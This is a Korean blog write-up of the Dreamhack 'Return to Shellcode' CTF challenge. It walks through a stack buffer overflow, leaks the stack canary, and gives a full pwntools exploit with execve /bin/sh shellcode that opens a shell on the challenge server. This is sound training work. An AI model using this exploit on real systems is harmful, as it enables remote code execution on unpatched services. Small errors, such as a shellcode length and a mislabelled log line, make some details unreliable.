Return to Shellcode 문제 풀이
1. 취약점 확인
1. C언어
먼저 checksec 명령어로 취약점을 확인해보자
$ checksec r2s
[*] '/workspaces/codespaces-blank/Dreamhack/r2s/r2s'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
x64 아키텍처 에 canary 가 적용된 것을 확인할 수 있다.
C언어를 확인해보자.
// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
char buf[0x50];
init();
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf);
printf("[1] Leak the canary\n");
printf("Input: ");
fflush(stdout);
read(0, buf, 0x100);
printf("Your input is '%s'\n", buf);
puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf);
return 0;
}
char buf[0x50];
read(0, buf, 0x100);
gets(buf);
buf 는 0x50 의 크기이지만
입력을 받는 함수 read, gets 둘 다 0x50 의 크기보다 크게 입력을 받고 있다.
→ BOF 가 발생한다.
2. 어셈블리 확인
main 함수의 어셈블리를 확인해보자
0x00000000000008cd <+0>: push rbp
0x00000000000008ce <+1>: mov rbp,rsp
0x00000000000008d1 <+4>: sub rsp,0x60
0x00000000000008d5 <+8>: mov rax,QWORD PTR fs:0x28
0x00000000000008de <+17>: mov QWORD PTR [rbp-0x8],rax
0x00000000000008e2 <+21>: xor eax,eax
0x00000000000008e4 <+23>: mov eax,0x0
0x00000000000008e9 <+28>: call 0x88a <init>
0x00000000000008ee <+33>: lea rax,[rbp-0x60]
0x00000000000008f2 <+37>: mov rsi,rax
0x00000000000008f5 <+40>: lea rdi,[rip+0x16c] # 0xa68
0x00000000000008fc <+47>: mov eax,0x0
0x0000000000000901 <+52>: call 0x720 <printf@plt>
0x0000000000000906 <+57>: mov rax,rbp
0x0000000000000909 <+60>: mov rdx,rax
0x000000000000090c <+63>: lea rax,[rbp-0x60]
0x0000000000000910 <+67>: sub rdx,rax
0x0000000000000913 <+70>: mov rax,rdx
0x0000000000000916 <+73>: mov rsi,rax
0x0000000000000919 <+76>: lea rdi,[rip+0x160] # 0xa80
0x0000000000000920 <+83>: mov eax,0x0
0x0000000000000925 <+88>: call 0x720 <printf@plt>
0x000000000000092a <+93>: lea rdi,[rip+0x173] # 0xaa4
0x0000000000000931 <+100>: call 0x700 <puts@plt>
0x0000000000000936 <+105>: lea rdi,[rip+0x17b] # 0xab8
0x000000000000093d <+112>: mov eax,0x0
0x0000000000000942 <+117>: call 0x720 <printf@plt>
0x0000000000000947 <+122>: mov rax,QWORD PTR [rip+0x2006c2] # 0x201010 <stdout@@GLIBC_2.2.5>
0x000000000000094e <+129>: mov rdi,rax
0x0000000000000951 <+132>: call 0x750 <fflush@plt>
0x0000000000000956 <+137>: lea rax,[rbp-0x60] ; buf = rbp-0x60
0x000000000000095a <+141>: mov edx,0x100 ; 0x100
0x000000000000095f <+146>: mov rsi,rax ; buf
0x0000000000000962 <+149>: mov edi,0x0 ; 0
0x0000000000000967 <+154>: call 0x730 <read@plt> ; read(0, buf, 0x100)
0x000000000000096c <+159>: lea rax,[rbp-0x60]
0x0000000000000970 <+163>: mov rsi,rax
0x0000000000000973 <+166>: lea rdi,[rip+0x146] # 0xac0
0x000000000000097a <+173>: mov eax,0x0
0x000000000000097f <+178>: call 0x720 <printf@plt>
0x0000000000000984 <+183>: lea rdi,[rip+0x14d] # 0xad8
0x000000000000098b <+190>: call 0x700 <puts@plt>
0x0000000000000990 <+195>: lea rdi,[rip+0x121] # 0xab8
0x0000000000000997 <+202>: mov eax,0x0
0x000000000000099c <+207>: call 0x720 <printf@plt>
0x00000000000009a1 <+212>: mov rax,QWORD PTR [rip+0x200668] # 0x201010 <stdout@@GLIBC_2.2.5>
0x00000000000009a8 <+219>: mov rdi,rax
0x00000000000009ab <+222>: call 0x750 <fflush@plt>
0x00000000000009b0 <+227>: lea rax,[rbp-0x60]
0x00000000000009b4 <+231>: mov rdi,rax
0x00000000000009b7 <+234>: mov eax,0x0
0x00000000000009bc <+239>: call 0x740 <gets@plt>
0x00000000000009c1 <+244>: mov eax,0x0
0x00000000000009c6 <+249>: mov rcx,QWORD PTR [rbp-0x8]
0x00000000000009ca <+253>: xor rcx,QWORD PTR fs:0x28
0x00000000000009d3 <+262>: je 0x9da <main+269>
0x00000000000009d5 <+264>: call 0x710 <__stack_chk_fail@plt>
0x00000000000009da <+269>: leave
0x00000000000009db <+270>: ret
buf 는 rbp-0x60 인 것을 알 수 있다.
하지만 canary 가 적용되었기 때문에 8바이트를 뺀 0x58 의 값이 buf 이다
2. 스택 프레임
1. 스택 프레임 구조
buf 의 크기는 canary 값을 뺀 0x58 이다
canary 는 64bit 이므로 8 byte 이다.
첫 번째 입력 때
buf 와 canary 의 NULL 까지 dummy 로 채운뒤
canary leak 을 하여 canary 값을 알아낸다
두 번째 입력 때
buf 에 shellcode 넣고 0x58 까지 dummy 값으로 채운다
알아낸 canary 값을 이용하여 canary 를 덮는다
SFP 를 dummy 로 채우고
RET 에 출력된 buf 의 주소를 넣으면
buf 에 있는 shellcode 가 실행되면서 셸이 실행될 것이다.
3. 페이로드 (Payload)
1. pwntools 코드 작성
from pwn import *
context.log_level='debug'
context(arch='amd64', os='linux')
p = remote('host3.dreamhack.games', 22475)
# buf 주소 구하기
p.recvuntil('0x')
buf_addr = int(p.recvn(12), 16)
log.info('buf_addr: %x', buf_addr)
shellcode = b'\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05' # 28byte
padding = 88 - len(shellcode)
# canary 의 NULL까지 덮어서 canary 값 출력
p.recvuntil('Input: ')
dummy = b'A' * 89
p.send(dummy)
# canary 값 알아내기
p.recvuntil(dummy)
canary = u64(b'\x00' + p.recvn(7))
log.info('canary: %x', canary)
payload = shellcode
payload += b'A' * padding
payload += p64(canary)
payload += b'A' * 8
payload += p64(buf_addr)
p.recvuntil('Input: ')
p.send(payload)
p.interactive()
위에서 작성한 흐름대로 pwntools 를 이용하여 코드를 작성하고 실행하면
$ python ./payload.py
buf_addr: 0x7ffc9517f150
buf_addr: 0x1ae46c811a4b7200
$ ls
flag
r2s
$ cat flag
DH{-----------------------------------------}
플래그를 획득할 수 있다
'War Game > Pwnable' 카테고리의 다른 글
[Dreamhack] Return to Libraray (1) | 2024.07.21 |
---|---|
[sschall] baby got overwrite (0) | 2024.07.01 |
[Dreamhack] ssp_001 (0) | 2024.05.05 |
[Dreamhack] basic_exploitation_001 (0) | 2024.04.30 |
[Dreamhack] basic_exploitation_000 (0) | 2024.04.29 |